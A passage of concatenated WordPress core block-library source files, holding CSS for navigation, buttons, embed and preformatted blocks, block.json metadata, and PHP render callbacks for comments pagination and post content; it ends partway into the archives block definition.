.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item .wp-block-navigation__submenu-container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-page-list{
  background:#0000 !important;
  color:inherit !important;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{
  left:auto;
  right:auto;
}
@media (min-width:600px){
  .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open){
    background-color:inherit;
    display:block;
    position:relative;
    width:100%;
    z-index:auto;
  }
  .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close{
    display:none;
  }
  .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{
    right:0;
  }
}

.wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open{
  background-color:#fff;
}

.wp-block-navigation:not(.has-text-color) .wp-block-navigation__responsive-container.is-menu-open{
  color:#000;
}

.wp-block-navigation__toggle_button_label{
  font-size:1rem;
  font-weight:700;
}

.wp-block-navigation__responsive-container-close,.wp-block-navigation__responsive-container-open{
  background:#0000;
  border:none;
  color:currentColor;
  cursor:pointer;
  margin:0;
  padding:0;
  text-transform:inherit;
  vertical-align:middle;
}
.wp-block-navigation__responsive-container-close svg,.wp-block-navigation__responsive-container-open svg{
  fill:currentColor;
  display:block;
  height:24px;
  pointer-events:none;
  width:24px;
}

.wp-block-navigation__responsive-container-open{
  display:flex;
}
.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{
  font-family:inherit;
  font-size:inherit;
  font-weight:inherit;
}
@media (min-width:600px){
  .wp-block-navigation__responsive-container-open:not(.always-shown){
    display:none;
  }
}

.wp-block-navigation__responsive-container-close{
  left:0;
  position:absolute;
  top:0;
  z-index:2;
}
.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close{
  font-family:inherit;
  font-size:inherit;
  font-weight:inherit;
}

.wp-block-navigation__responsive-close{
  width:100%;
}
.has-modal-open .wp-block-navigation__responsive-close{
  margin-left:auto;
  margin-right:auto;
  max-width:var(--wp--style--global--wide-size, 100%);
}
.wp-block-navigation__responsive-close:focus{
  outline:none;
}

.is-menu-open .wp-block-navigation__responsive-close,.is-menu-open .wp-block-navigation__responsive-container-content,.is-menu-open .wp-block-navigation__responsive-dialog{
  box-sizing:border-box;
}

.wp-block-navigation__responsive-dialog{
  position:relative;
}

.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{
  margin-top:46px;
}
@media (min-width:782px){
  .has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{
    margin-top:32px;
  }
}

html.has-modal-open{
  overflow:hidden;
}<?php return array('dependencies' => array(), 'version' => 'dfccca53c03e01ca94e5');
<?php return array('dependencies' => array(), 'version' => 'b478fa3cd1475dec97d3');
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/buttons",
	"title": "Buttons",
	"category": "design",
	"allowedBlocks": [ "core/button" ],
	"description": "Prompt visitors to take action with a group of button-style links.",
	"keywords": [ "link" ],
	"textdomain": "default",
	"supports": {
		"anchor": true,
		"align": [ "wide", "full" ],
		"html": false,
		"__experimentalExposeControlsToChildren": true,
		"spacing": {
			"blockGap": true,
			"margin": [ "top", "bottom" ],
			"__experimentalDefaultControls": {
				"blockGap": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"layout": {
			"allowSwitching": false,
			"allowInheriting": false,
			"default": {
				"type": "flex"
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-buttons-editor",
	"style": "wp-block-buttons"
}
.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{margin:0}.wp-block-buttons>.block-list-appender{align-items:center;display:inline-flex}.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{justify-content:flex-start}.wp-block-buttons>.wp-block-button:focus{box-shadow:none}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{margin-left:auto;margin-right:auto;margin-top:0;width:100%}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{margin-bottom:0}.editor-styles-wrapper .wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block[data-align=center]>.wp-block-buttons{align-items:center;justify-content:center}.wp-block[data-align=right]>.wp-block-buttons{justify-content:flex-end}.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{
  margin:0;
}
.wp-block-buttons>.block-list-appender{
  align-items:center;
  display:inline-flex;
}
.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{
  justify-content:flex-start;
}
.wp-block-buttons>.wp-block-button:focus{
  box-shadow:none;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{
  margin-left:auto;
  margin-right:auto;
  margin-top:0;
  width:100%;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{
  margin-bottom:0;
}
.editor-styles-wrapper .wp-block-buttons.has-custom-font-size .wp-block-button__link{
  font-size:inherit;
}

.wp-block[data-align=center]>.wp-block-buttons{
  align-items:center;
  justify-content:center;
}

.wp-block[data-align=right]>.wp-block-buttons{
  justify-content:flex-end;
}.wp-block-buttons.is-vertical{
  flex-direction:column;
}
.wp-block-buttons.is-vertical>.wp-block-button:last-child{
  margin-bottom:0;
}
.wp-block-buttons>.wp-block-button{
  display:inline-block;
  margin:0;
}
.wp-block-buttons.is-content-justification-left{
  justify-content:flex-start;
}
.wp-block-buttons.is-content-justification-left.is-vertical{
  align-items:flex-start;
}
.wp-block-buttons.is-content-justification-center{
  justify-content:center;
}
.wp-block-buttons.is-content-justification-center.is-vertical{
  align-items:center;
}
.wp-block-buttons.is-content-justification-right{
  justify-content:flex-end;
}
.wp-block-buttons.is-content-justification-right.is-vertical{
  align-items:flex-end;
}
.wp-block-buttons.is-content-justification-space-between{
  justify-content:space-between;
}
.wp-block-buttons.aligncenter{
  text-align:center;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{
  margin-left:auto;
  margin-right:auto;
  width:100%;
}
.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{
  text-decoration:inherit;
}
.wp-block-buttons.has-custom-font-size .wp-block-button__link{
  font-size:inherit;
}

.wp-block-button.aligncenter{
  text-align:center;
}.wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-start}.wp-block-buttons.is-content-justification-center{justify-content:center}.wp-block-buttons.is-content-justification-center.is-vertical{align-items:center}.wp-block-buttons.is-content-justification-right{justify-content:flex-end}.wp-block-buttons.is-content-justification-right.is-vertical{align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{margin-left:auto;margin-right:auto;width:100%}.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-button.aligncenter{text-align:center}.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{margin:0}.wp-block-buttons>.block-list-appender{align-items:center;display:inline-flex}.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{justify-content:flex-start}.wp-block-buttons>.wp-block-button:focus{box-shadow:none}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{margin-left:auto;margin-right:auto;margin-top:0;width:100%}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{margin-bottom:0}.editor-styles-wrapper .wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block[data-align=center]>.wp-block-buttons{align-items:center;justify-content:center}.wp-block[data-align=right]>.wp-block-buttons{justify-content:flex-end}.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{
  margin:0;
}
.wp-block-buttons>.block-list-appender{
  align-items:center;
  display:inline-flex;
}
.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{
  justify-content:flex-start;
}
.wp-block-buttons>.wp-block-button:focus{
  box-shadow:none;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{
  margin-left:auto;
  margin-right:auto;
  margin-top:0;
  width:100%;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{
  margin-bottom:0;
}
.editor-styles-wrapper .wp-block-buttons.has-custom-font-size .wp-block-button__link{
  font-size:inherit;
}

.wp-block[data-align=center]>.wp-block-buttons{
  align-items:center;
  justify-content:center;
}

.wp-block[data-align=right]>.wp-block-buttons{
  justify-content:flex-end;
}.wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-start}.wp-block-buttons.is-content-justification-center{justify-content:center}.wp-block-buttons.is-content-justification-center.is-vertical{align-items:center}.wp-block-buttons.is-content-justification-right{justify-content:flex-end}.wp-block-buttons.is-content-justification-right.is-vertical{align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{margin-left:auto;margin-right:auto;width:100%}.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-button.aligncenter{text-align:center}.wp-block-buttons.is-vertical{
  flex-direction:column;
}
.wp-block-buttons.is-vertical>.wp-block-button:last-child{
  margin-bottom:0;
}
.wp-block-buttons>.wp-block-button{
  display:inline-block;
  margin:0;
}
.wp-block-buttons.is-content-justification-left{
  justify-content:flex-start;
}
.wp-block-buttons.is-content-justification-left.is-vertical{
  align-items:flex-start;
}
.wp-block-buttons.is-content-justification-center{
  justify-content:center;
}
.wp-block-buttons.is-content-justification-center.is-vertical{
  align-items:center;
}
.wp-block-buttons.is-content-justification-right{
  justify-content:flex-end;
}
.wp-block-buttons.is-content-justification-right.is-vertical{
  align-items:flex-end;
}
.wp-block-buttons.is-content-justification-space-between{
  justify-content:space-between;
}
.wp-block-buttons.aligncenter{
  text-align:center;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{
  margin-left:auto;
  margin-right:auto;
  width:100%;
}
.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{
  text-decoration:inherit;
}
.wp-block-buttons.has-custom-font-size .wp-block-button__link{
  font-size:inherit;
}

.wp-block-button.aligncenter{
  text-align:center;
}<?php
/**
 * Server-side rendering of the `core/comments-pagination-previous` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/comments-pagination-previous` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 *
 * @return string Returns the previous posts link for the comments pagination.
 */
function render_block_core_comments_pagination_previous( $attributes, $content, $block ) {
	$default_label    = __( 'Older Comments' );
	$label            = isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ? $attributes['label'] : $default_label;
	$pagination_arrow = get_comments_pagination_arrow( $block, 'previous' );
	if ( $pagination_arrow ) {
		$label = $pagination_arrow . $label;
	}

	$filter_link_attributes = static function () {
		return get_block_wrapper_attributes();
	};
	add_filter( 'previous_comments_link_attributes', $filter_link_attributes );

	$previous_comments_link = get_previous_comments_link( $label );

	remove_filter( 'previous_comments_link_attributes', $filter_link_attributes );

	if ( ! isset( $previous_comments_link ) ) {
		return '';
	}

	return $previous_comments_link;
}

/**
 * Registers the `core/comments-pagination-previous` block on the server.
 */
function register_block_core_comments_pagination_previous() {
	register_block_type_from_metadata(
		__DIR__ . '/comments-pagination-previous',
		array(
			'render_callback' => 'render_block_core_comments_pagination_previous',
		)
	);
}
add_action( 'init', 'register_block_core_comments_pagination_previous' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/loginout",
	"title": "Login/out",
	"category": "theme",
	"description": "Show login & logout links.",
	"keywords": [ "login", "logout", "form" ],
	"textdomain": "default",
	"attributes": {
		"displayLoginAsForm": {
			"type": "boolean",
			"default": false
		},
		"redirectToCurrent": {
			"type": "boolean",
			"default": true
		}
	},
	"supports": {
		"className": true,
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	}
}
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/embed",
	"title": "Embed",
	"category": "embed",
	"description": "Add a block that displays content pulled from other sites, like Twitter or YouTube.",
	"textdomain": "default",
	"attributes": {
		"url": {
			"type": "string",
			"__experimentalRole": "content"
		},
		"caption": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "figcaption",
			"__experimentalRole": "content"
		},
		"type": {
			"type": "string",
			"__experimentalRole": "content"
		},
		"providerNameSlug": {
			"type": "string",
			"__experimentalRole": "content"
		},
		"allowResponsive": {
			"type": "boolean",
			"default": true
		},
		"responsive": {
			"type": "boolean",
			"default": false,
			"__experimentalRole": "content"
		},
		"previewable": {
			"type": "boolean",
			"default": true,
			"__experimentalRole": "content"
		}
	},
	"supports": {
		"align": true,
		"spacing": {
			"margin": true
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-embed-editor",
	"style": "wp-block-embed"
}
.wp-block-embed figcaption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-embed figcaption{
  color:#ffffffa6;
}

.wp-block-embed{
  margin:0 0 1em;
}.wp-block-embed{clear:both;margin-left:0;margin-right:0}.wp-block-embed.is-loading{display:flex;justify-content:center}.wp-block-embed .components-placeholder__error{word-break:break-word}.wp-block-embed__learn-more{margin-top:1em}.wp-block-post-content .wp-block-embed__learn-more a{color:var(--wp-admin-theme-color)}.block-library-embed__interactive-overlay{bottom:0;left:0;opacity:0;position:absolute;right:0;top:0}.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{max-width:360px;width:100%}.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{min-width:280px}.wp-block-embed figcaption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-embed figcaption{
  color:#ffffffa6;
}

.wp-block-embed{
  margin:0 0 1em;
}.wp-block-embed figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed figcaption{color:#ffffffa6}.wp-block-embed{margin:0 0 1em}.wp-block-embed{
  clear:both;
  margin-left:0;
  margin-right:0;
}
.wp-block-embed.is-loading{
  display:flex;
  justify-content:center;
}
.wp-block-embed .components-placeholder__error{
  word-break:break-word;
}

.wp-block-embed__learn-more{
  margin-top:1em;
}
.wp-block-post-content .wp-block-embed__learn-more a{
  color:var(--wp-admin-theme-color);
}

.block-library-embed__interactive-overlay{
  bottom:0;
  left:0;
  opacity:0;
  position:absolute;
  right:0;
  top:0;
}

.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{
  max-width:360px;
  width:100%;
}
.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{
  min-width:280px;
}.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{
  max-width:360px;
  width:100%;
}
.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{
  min-width:280px;
}

.wp-block-cover .wp-block-embed{
  min-height:240px;
  min-width:320px;
}

.wp-block-embed{
  overflow-wrap:break-word;
}
.wp-block-embed figcaption{
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-embed iframe{
  max-width:100%;
}

.wp-block-embed__wrapper{
  position:relative;
}

.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{
  content:"";
  display:block;
  padding-top:50%;
}
.wp-embed-responsive .wp-has-aspect-ratio iframe{
  bottom:0;
  height:100%;
  left:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{
  padding-top:42.85%;
}
.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{
  padding-top:50%;
}
.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{
  padding-top:56.25%;
}
.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{
  padding-top:75%;
}
.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{
  padding-top:100%;
}
.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{
  padding-top:177.77%;
}
.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{
  padding-top:200%;
}.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{max-width:360px;width:100%}.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{min-width:280px}.wp-block-cover .wp-block-embed{min-height:240px;min-width:320px}.wp-block-embed{overflow-wrap:break-word}.wp-block-embed figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-embed iframe{max-width:100%}.wp-block-embed__wrapper{position:relative}.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{content:"";display:block;padding-top:50%}.wp-embed-responsive .wp-has-aspect-ratio iframe{bottom:0;height:100%;left:0;position:absolute;right:0;top:0;width:100%}.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{padding-top:42.85%}.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{padding-top:50%}.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{padding-top:56.25%}.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{padding-top:75%}.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{padding-top:100%}.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{padding-top:177.77%}.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{padding-top:200%}.wp-block-embed{clear:both;margin-left:0;margin-right:0}.wp-block-embed.is-loading{display:flex;justify-content:center}.wp-block-embed .components-placeholder__error{word-break:break-word}.wp-block-embed__learn-more{margin-top:1em}.wp-block-post-content .wp-block-embed__learn-more a{color:var(--wp-admin-theme-color)}.block-library-embed__interactive-overlay{bottom:0;left:0;opacity:0;position:absolute;right:0;top:0}.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{max-width:360px;width:100%}.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{min-width:280px}.wp-block-embed figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed figcaption{color:#ffffffa6}.wp-block-embed{margin:0 0 1em}.wp-block-embed{
  clear:both;
  margin-left:0;
  margin-right:0;
}
.wp-block-embed.is-loading{
  display:flex;
  justify-content:center;
}
.wp-block-embed .components-placeholder__error{
  word-break:break-word;
}

.wp-block-embed__learn-more{
  margin-top:1em;
}
.wp-block-post-content .wp-block-embed__learn-more a{
  color:var(--wp-admin-theme-color);
}

.block-library-embed__interactive-overlay{
  bottom:0;
  left:0;
  opacity:0;
  position:absolute;
  right:0;
  top:0;
}

.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{
  max-width:360px;
  width:100%;
}
.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{
  min-width:280px;
}.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{max-width:360px;width:100%}.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{min-width:280px}.wp-block-cover .wp-block-embed{min-height:240px;min-width:320px}.wp-block-embed{overflow-wrap:break-word}.wp-block-embed figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-embed iframe{max-width:100%}.wp-block-embed__wrapper{position:relative}.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{content:"";display:block;padding-top:50%}.wp-embed-responsive .wp-has-aspect-ratio iframe{bottom:0;height:100%;left:0;position:absolute;right:0;top:0;width:100%}.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{padding-top:42.85%}.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{padding-top:50%}.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{padding-top:56.25%}.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{padding-top:75%}.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{padding-top:100%}.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{padding-top:177.77%}.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{padding-top:200%}.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{
  max-width:360px;
  width:100%;
}
.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{
  min-width:280px;
}

.wp-block-cover .wp-block-embed{
  min-height:240px;
  min-width:320px;
}

.wp-block-embed{
  overflow-wrap:break-word;
}
.wp-block-embed figcaption{
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-embed iframe{
  max-width:100%;
}

.wp-block-embed__wrapper{
  position:relative;
}

.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{
  content:"";
  display:block;
  padding-top:50%;
}
.wp-embed-responsive .wp-has-aspect-ratio iframe{
  bottom:0;
  height:100%;
  left:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{
  padding-top:42.85%;
}
.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{
  padding-top:50%;
}
.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{
  padding-top:56.25%;
}
.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{
  padding-top:75%;
}
.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{
  padding-top:100%;
}
.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{
  padding-top:177.77%;
}
.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{
  padding-top:200%;
}<?php
/**
 * Server-side rendering of the `core/post-content` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/post-content` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 * @return string Returns the filtered post content of the current post.
 */
function render_block_core_post_content( $attributes, $content, $block ) {
	static $seen_ids = array();

	if ( ! isset( $block->context['postId'] ) ) {
		return '';
	}

	$post_id = $block->context['postId'];

	if ( isset( $seen_ids[ $post_id ] ) ) {
		// WP_DEBUG_DISPLAY must only be honored when WP_DEBUG. This precedent
		// is set in `wp_debug_mode()`.
		$is_debug = WP_DEBUG && WP_DEBUG_DISPLAY;

		return $is_debug ?
			// translators: Visible only in the front end, this warning takes the place of a faulty block.
			__( '[block rendering halted]' ) :
			'';
	}

	$seen_ids[ $post_id ] = true;

	// When inside the main loop, we want to use queried object
	// so that `the_preview` for the current post can apply.
	// We force this behavior by omitting the third argument (post ID) from the `get_the_content`.
	$content = get_the_content();
	// Check for nextpage to display page links for paginated posts.
	if ( has_block( 'core/nextpage' ) ) {
		$content .= wp_link_pages( array( 'echo' => 0 ) );
	}

	/** This filter is documented in wp-includes/post-template.php */
	$content = apply_filters( 'the_content', str_replace( ']]>', ']]&gt;', $content ) );
	unset( $seen_ids[ $post_id ] );

	if ( empty( $content ) ) {
		return '';
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => 'entry-content' ) );

	return (
		'<div ' . $wrapper_attributes . '>' .
			$content .
		'</div>'
	);
}

/**
 * Registers the `core/post-content` block on the server.
 */
function register_block_core_post_content() {
	register_block_type_from_metadata(
		__DIR__ . '/post-content',
		array(
			'render_callback' => 'render_block_core_post_content',
		)
	);
}
add_action( 'init', 'register_block_core_post_content' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/preformatted",
	"title": "Preformatted",
	"category": "text",
	"description": "Add text that respects your spacing and tabs, and also allows styling.",
	"textdomain": "default",
	"attributes": {
		"content": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "pre",
			"__unstablePreserveWhiteSpace": true,
			"__experimentalRole": "content"
		}
	},
	"supports": {
		"anchor": true,
		"color": {
			"gradients": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"spacing": {
			"padding": true,
			"margin": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-preformatted"
}
.wp-block-preformatted{
  box-sizing:border-box;
  white-space:pre-wrap;
}

:where(.wp-block-preformatted.has-background){
  padding:1.25em 2.375em;
}.wp-block-preformatted{box-sizing:border-box;white-space:pre-wrap}:where(.wp-block-preformatted.has-background){padding:1.25em 2.375em}.wp-block-preformatted{box-sizing:border-box;white-space:pre-wrap}:where(.wp-block-preformatted.has-background){padding:1.25em 2.375em}.wp-block-preformatted{
  box-sizing:border-box;
  white-space:pre-wrap;
}

:where(.wp-block-preformatted.has-background){
  padding:1.25em 2.375em;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/archives",
	"title": "Archives",
	"category": "widgets",
